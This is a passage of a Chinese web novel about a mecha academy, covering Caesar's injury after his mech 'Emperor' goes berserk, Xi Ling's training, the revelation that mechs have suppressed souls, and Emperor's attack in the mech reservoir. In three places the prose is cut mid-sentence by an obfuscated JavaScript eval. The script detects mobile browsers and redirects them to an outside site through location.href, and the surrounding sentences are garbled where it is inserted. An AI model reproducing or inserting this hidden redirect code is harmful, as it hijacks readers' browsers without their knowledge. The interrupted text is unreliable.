凯撒带给她的危机感和压迫感,不亚于面对洪水猛兽。即便他发的那些垃圾短信,还有挂在嘴边的“我的朋友”,让他看起来平易近人,但郗灵心里清楚——一只狮子上一秒还能温情地舔舐你的手背,下一秒就可能凶性大发,一口咬断你的咽喉。 渡鸦还在盯猫,盯得猫背毛炸起。 莱茵接过话题:“是的,他们四个也参赛了。” “他们当年只是大一新生,就破天荒地冲进了五骄,如今三年过去,实力只会更加恐怖。”欧白白脸上的笑容消失了,她鲜少这般严肃,“会长,你觉得,我们最棘手的对手是谁?” 莱茵毫不犹豫地答:“卫惊鸿。” 欧白白惊讶地反问:“难道不是凯撒吗?” “卫惊鸿当年只是运气太差,不然,个人榜第二名肯定是她。” 郗灵低下头,飞快搜索上一届五骄的百科介绍和战斗集锦。雪理见渡鸦一直盯着屋顶,放下铲雪顶的小勺子,也抬头看了过去。 雪理:“你喜欢猫?” 渡鸦:“不,我在它身上闻到了讨厌的味道。” 雪理:“你讨厌猫?” 渡鸦:“说不上讨厌……它是个公猫吧?割蛋了没?一会儿我给猫协打电话问问。” 墨菲:“……” 墨菲蛋蛋一紧,逃也似的跑了。 五骄终究是个遥远的话题,眼下,他们的首要目标是顺利夺擂,成为能保送晋级赛的种子队。 郗灵喝着小甜水,看着欧白白将训练计划表用力铺在桌面上——表格太长,还有一小卷滑落到了地上。 郗灵弯腰捡起计划表,刚直起腰,手腕上的光脑突然“滴滴”响了两声: 【墨菲】:“皇帝”暴走了! 【墨菲】:快来校医院!凯撒已经进抢救室了! 50. 王牌的“陨落” 联邦医学极其发达,当郗灵来到校医院时,凯撒已经脱离了生命危险。 凯撒爱交朋友,这是连郗灵都知道的事情。前来探望凯撒的人一波接一波,而凯撒始终保持着旺盛的精力,在病床上谈笑风生,全然不像从死神手下走过一遭。 “你来了,我的朋友。”凯撒见到郗灵,露出灿烂的笑,“几天不见,你有想念我吗?” 郗灵:“……” 她不确定凯撒是不是在提醒自己。 那场细雨迷蒙的晚宴上,她在狙击镜中看到了凯撒的身影。凯撒是把晚宴情报递到她面前的人之一,当郗灵在十四公里外的观光塔上静候时机时,他一度离开宴会中心,在毫无安保措施的露台围栏边独倚,目光看向自己所在的方向。 她笃定凯撒不可能看见自己:夜晚,雨天,再加上14公里的距离,如此条件下,连观光塔的轮廓都会模糊不清。 可当她一遍又一遍擦拭狙击镜上的雨水时,心底总会冒出一种警惕的直觉—— 凯撒正隔着重重夜色,直直地凝视自己。 但此时此刻的凯撒……说实话,和宴会上那位深沉狂狷的贵公子截然不同。 也许学校的象牙塔buff可以净化一切社会上的黑深残,又或许人的性格本就像切割过的钻石般多面,凯撒脸上毫无城府,居然笑得像只大号金毛。 他受了伤,但因为在学校里,所以他很开心。 虽然这个结论怪怪的,可不管是谁,但凡见过凯撒营业状态的模样,就一定能看出,现在的凯撒是发自内心的开心。 郗灵坐在病床边的椅子上:“我以为我来得够及时了,但关心你的朋友比我想象中更多。” 凯撒点头,又从果篮里拿出一只苹果,徒手掰成两半后,把其中一半递给郗灵。 两人开始“咔嚓咔嚓”啃苹果。 凯撒毫不避讳自己受伤的原因,详细讲解了“皇帝”暴走的过程。 他没有和人切磋,甚至没有和人发生任何冲突,但皇帝突然从机甲钮中释放,巨大的机身不仅踩塌了地面,还不小心踹飞了一脸懵逼的凯撒。 皇帝因为异常暴走,已经被校方管控起来,目前安置在机甲水库中。 “龙姬也干过这种事。”郗灵感慨道,“它本来是萧寒剑上将的备用机甲,但它在行军途中,自己打开机甲钮飞走了。” 龙姬被爆出黑历史,在郗灵腰间用力摇晃,一下下捶打她的大腿。 凯撒笑得捶床。 笑了一阵,凯撒说:“郗灵,我从没想过皇帝会失控,即使它打开了机甲钮,但那一刻我以为,它只是想出来透透气。” 郗灵沉默。 “在奥古斯都家族,每个孩子都会拥有一台属于自己的机甲。”凯撒看着龙姬,眼里满是艳羡和思念,“奥古斯都的‘凯撒’是竞争出来的,每一代凯撒的机甲,都叫‘皇帝’。我在成为凯撒前,连自己的名字都没有,可从我拥有第一台机甲的那天起,就已经叫它‘皇帝’了。” “那一年,想当‘凯撒’的孩子足足有二十七人,可我从没想过自己当不了凯撒。因为早在所有人盯着‘凯撒’这个位置前,我就已经攥住了属于我的‘皇帝’。” 凯撒的话有些难懂,但郗灵听懂了。 胜者为王,只有胜者才是“凯撒”。 奥古斯都家族实行狼性文化,但凯撒天生就是个自信男孩,在“凯撒”的名字还没落在他头上时,他就给机甲取名为“皇帝”了。 “我在三岁得到了皇帝,我们是一起玩泥巴的交情——当然,机甲不会玩泥巴,而且机甲一出厂就是成熟体,我在一天天长大时,它也许正在一天天衰老。”凯撒啃了一口苹果,“但我生命中的过客太多了,他们像月台上候车的乘客,列车一到就会头也不回地离开。” “只有皇帝一直陪伴着我。” “但我没想到,皇帝也是我的过客。它等候的那辆列车迟到了太久太久,但列车再怎么晚点,终究也会进站的。” “人驾驶机甲的时长是有限的,也许是5年,也许是10年,也许是20年,因为机甲会一刻不停地释放精神污染。” “这个微妙的驾驶寿命,总会让我联想到猫。” “猫是联邦最流行的宠物,但富有爱心或孤独的人会把猫当孩子照料。猫在精心饲养下可以活到二十多岁,但很多被照顾得很好的猫,在十几岁的时候忽然就死掉了。” “猫的主人反思每一个地方,但自己似乎已经做得足够完美,于是只能把一切归咎于命运。” “离别总是猝不及防地提前到来,我和皇帝也是这样。” 凯撒说这话时,仍然骄傲得像一头狮子,语气没有一点后悔莫及或世事难料的黯然,像在陈述一个与他无关也符合常理的事实。 但这并非与他无关。 而且这也并不符合常理。 联邦对机甲的研究只有不到50年,许多领域仍是一片空白。郗灵总觉得这件事有猫腻,但具体有什么猫腻,她一时间也说不上来。 啃完半个苹果后,她和凯撒说了再见。 凯撒开始接待下一个朋友,日程比总统安排得还紧凑。 下午的课程一结束,欧白白就拉了个群,把更新后的计划表发了出去。 郗灵扫了一眼,当即在心里感叹:欧白白只当个副会长简直太屈才了。 这位行动力拉满的学姐,居然把队伍里每个人的课表时间都揉了进去,核心只有一个:不放过任何一点零碎时间,只要一闲下来,就往训练场里钻。 她连吃饭这种事都规划到了极致,谁哪天负责给全队打饭,全都写得明明白白,甚至还特意加了PlanB,生怕出一点岔子。 表格里,除了五人集体集训,单人、双人、三人、四人的分组训练也排得满满当当,所有人都按空闲时间精准组队。 唯独雪理的单人训练计划多到扎眼——她的课表简直是场灾难,课程数量足足是郗灵的三倍,谁都会都替她觉得心累。 【欧白白】:分享文件:训练计划总表.pdf 【欧白白】:@全体成员,都来确认一下。 【雪理】:√ 【莱茵】:√ 【拉文】:?楼上俩卷王 【拉文】:@欧白白,怎么是pdf? 【欧白白】:就是为了避免某人偷偷乱改,比如某只渡鸦 【拉文】:给我加两个小时自由活动时间,我有正事 【欧白白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16388836|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】:你能不能别一天到晚钓你那个破鱼! 【欧白白】:你把昵称改成“空军的钓鱼小乌鸦”,我就给你加 【拉文】:…… 【空军的钓鱼小乌鸦】:我改了 【欧白白】:我骗你的,我已经截图了。 【拉文】:欧白白,你给我等着! 郗灵翻着聊天记录才猛然想起,“渡鸦”只是个昵称,对方的真实姓名是拉文·诺因尼。 她在群里飞快回了个“√”,背着书包就往训练场冲。今天能抽空训练的只有她和欧白白,另外三人晚上都排满了课,压根腾不出时间。 欧白白早有计划——她要建立一套以郗灵为核心的战术。 她让郗灵驾驶机甲反复练规定动作,趁着间隙给她科普机甲联赛的门道。 “联赛是公开赛事,为了防止其他政权窃取军事机密,连级以上的作战编制根本不会出现,久而久之,就成了5人小队之间的对抗。但就算只有5个人,该有的分工也少不了。目前常见的兵种有七个:突击、重火力、狙击、侦察、支援、指挥,还有王牌。” 接着,欧白白逐条解释—— 突击是近战兵种,定位类似先锋,核心职责是突破对方防线。 重火力和狙击都属于远程,但侧重不同——前者靠大范围炮火压制对手,后者靠精准打击关键目标,还能帮侦察分担预警压力。 侦察负责探查战场地形、摸清敌情,并及时传递信息。 支援的任务比较杂,既要修复队友受损的机甲、为机甲补充能源,还要清理作战路线上的障碍。 指挥负责掌控全场节奏,主要工作是规划战术、根据战局调整部署。 前六个兵种都好理解,唯独“王牌”有点宽泛和抽象。 欧白白继续说:“每个队的王牌都不一样:有的是全队的战力核心,打起来能一挑三;有的能随时切换兵种,队友缺哪个位置就补哪个;还有的不直接冲前线,像指挥一样在背后控场。” 说到这儿,她看向龙姬:“郗灵,你就是我们的王牌,我欧白白绝不会看错人。” 哪怕郗灵还是个刚摸机甲的新手,可那股潜力明眼人都能看见——她的未来绝对不一般。 郗灵被这话夸得美滋滋,在驾驶舱里冒了会儿粉红泡泡。 过了一会儿她平静下来:既然每个队都有王牌,那凯撒呢?他是不是圣罗兰的王牌? 欧白白的语气瞬间低落下来:“‘皇帝’暴走的影响比预想中更糟,它很可能会被提前回收……失去‘皇帝’的凯撒……” 后面的话,她没有继续说下去。 一个未来的劲敌突然实力大减,按理性说这是好事,可欧白白脸上半点儿幸灾乐祸都没有,只有唇亡齿寒的同情。 最后,欧白白轻轻叹道:“可惜了。” 训练结束后,郗灵回到宿舍,躺在床上翻来覆去怎么也睡不着。 她总觉得,凯撒和“皇帝”不该就这么草草退场——凯撒是圣罗兰的王牌,而“皇帝”,又何尝不是凯撒的王牌呢? 她一个鲤鱼打挺坐起来,熟练地推开窗户翻了出去。 她打算去机甲水库,亲眼见见那台失控后被安置在那儿的“皇帝”。 51. 因爱跳动的心脏(一) 郗灵进入机甲水库。 机甲水库是存放非正常状态机甲的特殊建筑,关在这里的机甲没有收缩成钮状,浸泡在特制溶液中,并用特殊装置拘束固定。 郗灵是夜间唯一的访客。她刷脸通过验证后进入库区,走过一段漫长封闭的走廊,抬手按下舱门开关,最后一道舱门缓缓开启。 “皇帝”所在的区域出现在眼前。 两排小灯点亮了横架在水面上方的金属桥梁,桥面仅容两人并肩通过。桥下是平静无波的幽暗水面,仔细看去,液体还泛着淡淡的琥珀光泽。 郗灵踏上“吱呀”作响的桥面,走到中央位置停下脚步,仰头凝望浸泡在水中的庞然大物。 那巨物无法被微弱的灯光照亮,只能看见一大团漆黑雄浑的轮廓,像天池里的水怪,又像沉默矗立的山。 它没有露出全貌,大部分机身都浸泡在淡琥珀色的液体里。郗灵脚下的金属桥,本是禁锢它的拘束装置的一部分,但真正将这庞然巨物束缚住的,并非这些合金打造的机械结构,而是水库中的那些特殊液体,让机甲强行陷入了休眠。 嗡! 察觉到有人靠近,沉睡的“皇帝”发出一声低鸣,头顶那片未被灯光照亮、伸手不见五指的黑暗里,两团猩红的光芒骤然亮起。 那是“皇帝”的眼灯。 此刻,这双猩红的眼睛,正幽幽地俯视着桥上的郗灵。 龙姬在郗灵腰间轻颤,为“皇帝”的骤然苏醒而警惕。 郗灵安抚地摸了摸龙姬,脸上没有一丝害怕。她在金属桥梁上坐下来,两条腿垂在桥的边缘,脚尖差一点就能触碰到水面。 皇帝静静浸泡在水中,水位没过它的胸口,恰好淹没心口处的装甲。桥上的灯光从水面上铺过去,越来越粼粼,越来越稀薄,延伸到皇帝那头时,就什么也看不见了。 龙姬像振翅的鸟儿警惕颤动,但皇帝苏醒后没有任何动作,它便渐渐停歇了。 皇帝盯着郗灵。 郗灵没说话——自从进入这片区域起,她的耳边就跳动着一道巨大的声响。 咚咚! 咚咚! 咚咚! 那是皇帝心跳的声音。 最初,她以为是自己耳朵太灵,所以能听见细微的声音。但被萧寒剑救出矿星后,她遇到了许多人,却再没有谁的心跳让她如同灵魂触电般有了反应——除了那些机甲。 龙姬、凤凰、灰鹞。 飞鸟、塞壬、夜哨。 还有现在的“皇帝”。 她和机甲的关系远比自己想象得更紧密,这种羁绊到底是什么?是血脉?是某种神秘的感应?还是别的什么? 她攥了攥腰间的龙姬,没找到答案。 郗灵坐在金属桥梁上,皇帝也静静地看着她。 她来这儿,一半是惋惜凯撒的陨落,一半是好奇皇帝的过往。可无论凯撒还是皇帝,对眼下这局面的态度竟出奇地一致——唯一不同的是,凯撒愿意说的话,比皇帝要多得多。 探视时间结束,水库上空响起轻柔的提示声,郗灵站起身子,拍掉身上的灰尘往回走。 皇帝全程一言不发,直到郗灵的背影消失在合拢的舱门后,黑暗中,那双猩红的眼灯才“嗡”地熄灭。 郗灵回到宿舍睡了个囫囵觉。 第二天,郗灵照着计划表上课、训练。 中午休息时,她和雪理碰了面。 雪理正埋着头狼吞虎咽,饭桌上,“塞壬”的机甲钮轻轻晃动,发出细微的“咕噜”声。 ——这活物般的动静,郗灵再熟悉不过,可她偏偏听不懂塞壬想说什么。 她把这个困惑说了出来。优等生雪理咬着勺子顿了几秒,随即分享了自己的猜想。 “我觉得,这可能和心灵感应有关。”雪理说。 她特意没用“它”——即便自己的母亲,已经变成了名为“塞壬”的机甲。 “目前,没有科学证据能证实‘心灵感应’存在,但现实中确实有这样的例子,这大多出现在兄弟姐妹、父母儿女,或是相爱的人之间,哪怕隔着大半个星球,一方也能感应到另一方的特殊状态。你能听懂其他机甲说话,可能是你和它们之间产生了类似的感应,而你和塞壬,刚好少了这份联结。” 郗灵在心里翻译了一下——塞壬拒绝了她的“蓝牙配对请求”。 但她忽然想起昨晚皇帝的心跳。 这算不算另一种“感应”?只是这种感应,好像和雪理说的亲人、爱人之间的联结,又不太一样。 郗灵陷入沉思,却听见雪理说,她的毕业论文就打算研究这个。 郗灵看着雪理脸上发自内心的笑,和她眼下硕大的黑眼圈,一时语塞:“……” 完辣! 这妹子读书读疯了! 下午,郗灵和雪理有一个半小时的双人训练时间。墨菲很快就带着设备跑了过来——龙姬与塞壬,都是研究院重点关注的数据采集对象。 他优先给塞壬采集驾驶数据,几只墨菲牌猫猫在设备旁跳上跳下,猫爪翻飞间比人手还灵活。 郗灵在一旁打下手,目光落在训练场地上做着规定动作的塞壬身上,心里的疑惑又悄悄冒了出来。 她把雪理关于“心灵感应”的猜想告诉了墨菲,没料到,墨菲竟没露出平时那副清高又欠揍的模样,反而颇为欣赏地笑了笑。 “你知道机甲钮的工作原理吗?” 这个知识点郗灵在理论课上学过,她立刻回答:“是空间折叠技术!” “没错。”墨菲点头,“但你有没有想过,机甲由拘束装甲和生命素体两部分构成,明明生命素体是活物,为什么会跟着一起折叠?” 郗灵瞬间卡壳:“……” 她还真没琢磨过这个问题。 这显然是学霸与天才的领域,像一片深不见底的知识汪洋。郗灵只在战斗上有点天赋,要是让她像雪理那样钻研科研,恐怕第一天就得“淹死”在这片海里。 “生物机甲,或者说生命素体,是种既神奇又特殊的存在。”墨菲又开始滔滔不绝,就算变成猫,这毛病也没改掉,“机甲暴走的力量,根本不是来自装甲,而是里面生命素体自身的能量。” “宇宙由无数细小的‘弦’组成,弦的振频决定了能量和物质的形态。但生命素体不一样,它能主动拨动这些‘弦’,还能改变自己的形态。” 他顿了顿,进一步解释:“因而,当机甲开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394150|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始折叠时,生命素体会从十几米高的成熟体,逆生长变回米粒大小的幼年体——也就是我们常说的胚胎。” “所以从弦论的角度看,心灵感应是能被解释的。如果产生感应的人,在某种特定情况下拨动了‘弦’,那连能量和物质的形态都能改变,声波或谐波的超远距离传递,也不是无法想象的事。” “但这只是目前被广泛认可的猜想,还没有被成功证实。” 墨菲的猫爪在设备上顿了顿,原本带着笑意的语气瞬间沉了下去:“这也是我执着于主持‘胚胎’项目的原因——机甲是人类对抗机械帝皇的唯一手段,可它至今仍是个巨大的谜团。人类驾驶机甲去打仗,就像划着小船逆流而上,要是搞不懂机甲的本质,等小船哪天破了,人类只能徒劳地修补漏洞,最后早晚得一起沉进河里。” 战争。 在当今严峻的银河局势里,这是任何一个没被蒙住眼睛的人,都躲不开的话题。 更何况郗灵本人,已经亲历过一场战争。 她沉默了片刻,先把手里设备的数据导出来,才又问道:“博士,现在项目进度怎么样了?” “毫无进展。”墨菲直言不讳。 郗灵:“…………” “生命有随机性、自主性和不可预测性。”墨菲忽然打开了话匣子,语气里满是疲惫。 “你想驯服一台机器,只需要修改它的底层代码。但你没法驯服一根苇草——哪怕苇草那么柔弱,哪怕你能用科学分析它的基因、细胞、材质,还有能承受的力量区间,可你控制不了它发芽、生长、衰老和死亡。你没法驯服生命,顶多只能粗暴地折断它,或者干涉它生命的进程——但它永远是自由的。” 或许是被毫无寸进的研究伤透了心,墨菲竟选择对郗灵这个“科研门外汉”倾倒情绪垃圾。 “机甲也一样。它是生命,是生灵,而拘束装甲不过是一副镣铐、一具枷锁。人类掌控不了这种强大的生灵,可又离不开它,只好像驯化野兽似的把它拘束起来。” “但狼用了三万年才驯化成狗。等装甲里的生命素体,真的驯化成能任人驾驶的机甲,那个时候,联邦还存在吗?人类还存在吗?” “而且驯服机甲的过程中,人类已经付了太大的代价。” “机甲会源源不断产生精神污染,这种污染无法化解,所以机甲师大多英年早逝。他们的驾驶数据储存在联邦智库里,研究员调取这些数据,研究的全是他们的痛苦、挣扎和死亡——这让我有一种玷污烈士遗体的感觉,这太让我难受了。” “他们死了,却连死后都不得安宁,因为研究还在继续,可研究永远毫无进展。” “生命太伟大了,我的智慧在它面前,根本一文不值。” 墨菲噼里啪啦说了一大堆,连猫须都在痛苦地颤动。 郗灵握着数据板的手紧了紧。 她想对他说几句安慰的话,又觉得打断他的倾诉不太好,只能沉默地听着。 墨菲的痛苦扎根在真实的困境里,他不会因为朋友的几句安慰,就暂时麻痹自己获得快乐。他始终直直地盯着这个困境,像盯着一个深不见底的深渊。 就在这时,一道轻柔的歌声忽然飘了过来。 52. 因爱跳动的心脏(二) 那声音算不上合唱,郗灵却清晰分辨出两种音源:雪理的哼唱,以及机甲“塞壬”的嗡鸣。 雪理的母亲生前是小有名气的歌星,嫁入雪家前发布的最后一首单曲《塞壬》,正与她的艺名同名。 《塞壬》是一段无词的哼唱,旋律如神话中海妖的歌声,能悄然蛊惑过路的水手。此刻雪理哼唱的正是这首曲子,而机甲“塞壬”不时发出嗡鸣,竟像是在为自己的驾驶员轻声伴唱。 少女的哼唱与机甲的嗡鸣交织,出乎意料地和谐。 郗灵没想到雪理还会搞这种行为艺术,可墨菲突然尖叫出声:“谐波!谐波变了!” 谐波? 郗灵对这个名词早有印象,她已经听到过两次了。 第一次,是在母舰外的银河里,她驾驶龙姬救下昏厥的黎缨时,墨菲曾提醒她:机甲“灰鹞”的谐波振频已经高到无法检测,会对周围造成强烈的精神污染。 第二次,是开学后的暴走事故中,她被困在驾驶舱里几度昏迷,恍惚间听见李安娜惊喜地尖叫:“我找到了她的谐波!” 她和墨菲一同盯着面前的屏幕。 两条代表“谐波”的曲线,在反复靠近与远离中逐渐缩小差距,数个周期后,二者彻底交织融合,像两个孤独的灵魂终于寻找到彼此。 嗡! 机甲“塞壬”的性能数据开始急剧飙升,几乎逼近“暴走”的阈值。但身为驾驶员的雪理,不仅没受到任何负面影响,身体各项数据反而愈发稳定。 墨菲腾地站起身,语气里满是不敢置信:“这不可能!” “什么意思?”郗灵侧头瞄了他一眼。 “人类和机甲的谐波,不可能走向同频。”墨菲的猫瞳剧烈震颤,郗灵却从那张覆满绒毛的脸上,捕捉到了近乎疯狂的喜悦,“不同物种、不同族类,甚至同一族类的不同个体,都找不到能谐波同频的对象——即使是同卵双胞胎也不可能。” “但她们是母女。”郗灵看向塞壬。 墨菲瞬间噤声。 这是一个只有在场三人知道的秘密:雪理的父亲雪天青,通过与研究院的合作窃取了机甲制造技术,还残忍地将雪理的母亲融入制造流程,最终创造出了机甲塞壬。 雪理的哼唱是无意识的,她似乎没把这当成提升实力的手段。 塞壬表面也毫无变化,若不是墨菲此刻正在采集驾驶数据,这份微妙的变化将永远无人知晓。 歌声仍在继续。 墨菲探起上身观察塞壬,把自己拉成了一根细长的猫条。 郗灵在他身旁坐下,轻声问:“博士,什么是谐波?” “谐波,是灵魂产生的波动。”墨菲回答,“就像你难过时会哭,开心时会笑,灵魂也会‘说话’——谐波就是它的声音。这个概念最早由白璐元帅提出,她认为生命素体拥有灵魂,是和人类一样的高等智慧生命。人类能否驾驶机甲,本质上取决于二者谐波的共鸣度,双方灵魂匹配度越高,机甲的上限就越高。” “可我听到更多的是‘同步率’,不是‘谐波’。” “因为在最初的设计里,拘束装甲只用来约束生命素体的肉身力量。白璐元帅承认机甲有灵魂,却没料到机甲的灵魂会对驾驶员造成致命伤害——机甲的力量太强,一旦它的谐波与人类谐波碰撞,人类会立刻陷入脑死亡。” 墨菲顿了顿,继续解释:“所以,在之后的拘束装甲设计中,我们加入了‘生命方程式’演算机制:它会过滤掉机甲过强的谐波,还会压制机甲的灵魂,让其趋近于沉睡。” “所以……同步率其实是‘过滤后的谐波匹配度’?之前说的‘机甲没有灵魂’,全是假的?”郗灵问。 郗灵的问题不难回答,但墨菲诡异地沉默了。 他的猫瞳倒映出郗灵的脸——那张猫一样尖俏的脸上再无一丝冷静,她咬紧牙关,腮颊紧绷,那些压抑在心底的疑惑,在顷刻间化为了无尽的怒火。 “你们都知道机甲拥有灵魂!”郗灵的声音骤然变得尖利。 ——墨菲既然敢对她承认这件事,说明这件事是研究院、乃至联邦高层心照不宣的共识! “你从头到尾都知道,它们有灵魂、有意识、有智慧!拘束装甲对它们而言,不亚于残酷的极刑!” 郗灵的声音微微颤抖。 她在知道“胚胎”这种存在时,就已经感慨过战争的残酷。 可此刻,她后知后觉地意识到,机甲之所以是机甲,除了它是胜利唯一的手段,或许还因为……人类总是过于无情。 郗灵深吸一口气,道:“它们的声音被人类屏蔽,它们的痛苦也被人类忽视……人类榨干了它们的每一份价值,却只把它们当作战争机器,对吗?” 墨菲沉默片刻,最终点头:“对。” “如果一个人长期困在封闭黑暗的环境里,会怎样?” “会疯掉。” “那如果他在这种环境里,还被不停地鞭打、针扎、抽血,承受各种酷刑呢?” “……应该会恨吧。”墨菲的爪子抓了抓屏幕边缘,声音低迷一瞬后又忽然抬高,带着一丝辩解,“可这又有什么办法?我们已经付出了惨痛的代价——一代又一代机甲师英年早逝,他们死于精神污染,死于机甲因人类产生的痛苦与怨恨。你说机甲痛苦,那人类又何尝不痛苦?” “因为我听得到它们的声音。”郗灵的语气突然低落下来。 她的双手微微颤抖,把龙姬捧在掌心,龙姬因她的动作雀跃摇晃,发出飞鸟振翅般的窸窣声。 这一刻,所有疑问都有了答案—— 原本强大又自由的生灵,因为人类的欲望被套上沉重的枷锁,连灵魂都遭受到近乎毁灭的压迫。 因此,当龙姬脱去一代装甲,换上功能不完善的二代装甲时,才会那样喜悦轻快——如同鸟儿摘下翼上沉重的金饰,终于久违地飞向自由的天空。 也是因此,当龙姬再次换上内嵌生命方程式、且被主脑监控的装甲时,才会显得那样痛苦——品尝过自由的滋味后,它便再也不甘成为任人摆布的傀儡。 歌声仍在训练场上飘荡。 郗灵盯着屏幕上合二为一的谐波曲线,突然明白,自己为什么听不懂塞壬的话语了。 当塞壬从人类变成机甲,就失去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398770|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人类的语言与声音。 她忍受着被利用的痛苦,也压抑着啃噬灵魂的恨意,可一旦释放精神污染,就会伤害到无辜的女儿。 所以,她的谐波从不向任何人开放,唯有雪理唱起那首属于她的歌时,她才会短暂打开灵魂的窗口。 她像一只孤独的海妖,只为唯一深爱的水手歌唱。 郗灵捧着龙姬发呆时,墨菲突然从设备屏幕前跳下来,毛绒绒的身子蹲到她身旁。 他轻声道: “请你理解我们的苦衷,亲爱的小怪物。生命方程式必须存在,拘束装甲也必须存在——因为我们需要机甲,需要打赢每一场战争,需要一刻不停地和机械帝皇抗衡。” “但你和我们不一样。” “你的龙姬没有搭载生命方程式,那束缚机甲的程序,早在那次暴走中就被伊甸和我彻底改写。你和龙姬之间没有任何障碍,亲密得像一对孪生姐妹。” “你是可遇不可求的奇迹,见到你的第一秒,我就知道,你是上帝送给人间的礼物。” “如果能研究出你身上的秘密,人类……或许就能结束永无止境的战争。” 场中的雪理,对场外的一切毫不知情。她仍在一丝不苟地完成训练动作,为即将到来的机甲联赛做准备。 郗灵捧着机甲钮,突然意识到:承受这种痛苦的机甲,不止塞壬一个。 凤凰、灰鹞、飞鸟、夜哨、皇帝…… 它们从诞生那天起,就日复一日忍受着这种非人的痛苦。 既然塞壬会因为对雪理的爱,与她的谐波产生同频,那皇帝呢?皇帝会爱着凯撒吗?会像凯撒爱着它一样,回应这份感情吗? 最重要的是……机甲师对机甲的爱,可以缓解后者的痛苦吗? 深夜,郗灵带着墨菲,再次进入机甲水库。 她推着检测谐波数据的仪器,肩上坐着墨菲,踏上“吱呀”作响的金属桥梁。 皇帝仍浸泡在齐胸高的溶液中,当郗灵在桥梁中央停下时,两团猩红的灯光在上方黑暗中亮起——那是皇帝睁开了眼睛。 墨菲启动仪器,开始捕捉皇帝的谐波。 郗灵摸了摸腰间的龙姬,像上次那样慢慢坐下,两条腿在半空中晃荡,脚尖几乎触碰到水面。 桥上的两排灯光,无法照到皇帝身上。 郗灵望着黑暗中的庞然巨物,抬手打了声招呼:“嗨,我又来了。” 皇帝沉默不语。 “告诉你一个秘密,我听得懂你们说话。”郗灵指了指自己的耳朵,高声问道,“你有什么想对我们说的吗?我可以把你的话翻译给他们听。” 嗡—— 平静的水面突然泛起涟漪,打湿了郗灵贴近水面的脚尖。 郗灵仰起头,一眨不眨地盯着皇帝猩红的眼灯——那灯光像两轮血色的月亮,在未被光明照亮的黑暗中,痛苦地颤抖着。 “我恨……”皇帝从喉咙里滚出一声闷响,像生锈的齿轮在转动。 过了几秒,它带着颤音挤出第一个字,而后音调突然拔高,嘶吼着砸向波动的水面:“我恨你们——我恨你们!我恨你们!!” 53. 因爱跳动的心脏(三) 皇帝声嘶力竭地怒吼,宛如一石激起千层浪,刺耳的嗡鸣声裹挟着大量散发精神污染的谐波,在这片区域重叠、回荡。 束缚皇帝的机械装置发出不堪重负的“咔咔”声。 此刻的皇帝像一头愤怒的困兽,疯狂挣扎着想要挣脱牢笼,它的动作让本就不平静的水面愈发激荡,郗灵脚下的金属桥梁本是拘束装置的一部分,此刻竟也跟着剧烈震动、摇晃。 墨菲两只猫爪死死扒着仪器边缘,一眨不眨地盯着屏幕,声音发紧:“谐波振频正在飙升,就要……不,已经突破阈值了!” “我恨你们!!!”皇帝再次愤怒地咆哮。 “它暴走了!”墨菲浑身炸开了毛,“小怪物,快逃!!” “给我留下!”皇帝剧烈挣扎,眼灯猩红如血。 即便浸泡在具有镇静作用的溶液中,皇帝仍然爆发出了惊人的力量! 随着它的动作,它身上整套拘束装置开始出现裂痕,郗灵脚下的金属桥也缓缓向一端倾斜。 墨菲连带着仪器顺着斜坡滑向郗灵,在生死攸关之际争分夺秒地记录最后的谐波数据。郗灵伸手抵住滑来的仪器,感受着桥梁倾斜速度的加快,仰头看向高处剧烈晃动的眼灯。 那眼灯在黑暗中晃出残影,宛如两轮癫狂的血月。 “皇帝!”郗灵朝着上方大喊,“你冷静点!我一直在听!” 听到这句话,皇帝愤怒的动作骤然停滞了一瞬。 水面依旧激荡,皇帝对拘束装置的破坏已初露端倪,整个水库里都回荡着金属承压的“吱呀”脆响。 但下一秒,皇帝竟以更暴虐的力道抬起浸泡在溶液中的两条手臂,巨大的水浪瞬间铺天盖地,而水面下,捆缚它身体的金属支架居然被硬生生扯断! 紧接着,它带着残留金属装置的手猛地伸向郗灵,像孩童抓住鸟雀般,一把将郗灵攥进了掌心。 “郗灵!”墨菲发出凄厉的尖叫。 郗灵被皇帝牢牢抓在掌心,仿佛下一秒就会被这台失控的机甲捏爆。 墨菲果断抛下仪器,孤注一掷地朝皇帝的手扑咬过去,但他被皇帝的另一只手像掸灰尘般,轻描淡写地掸飞出去。 仪器沉入水底。 墨菲的仿生猫身摔在舱门上,像断了线般瘫软倒地,尖锐的金属组件扎穿仿生皮毛露了出来。 郗灵偏头瞥了一眼:墨菲控制的仿生猫不止这一只,他一定会以最快速度赶回来。 让她更在意的是,皇帝闹出这么大动静,水库的警报系统却始终一片死寂。 有人关掉了警报系统! 是谁? 谁有这个权限? 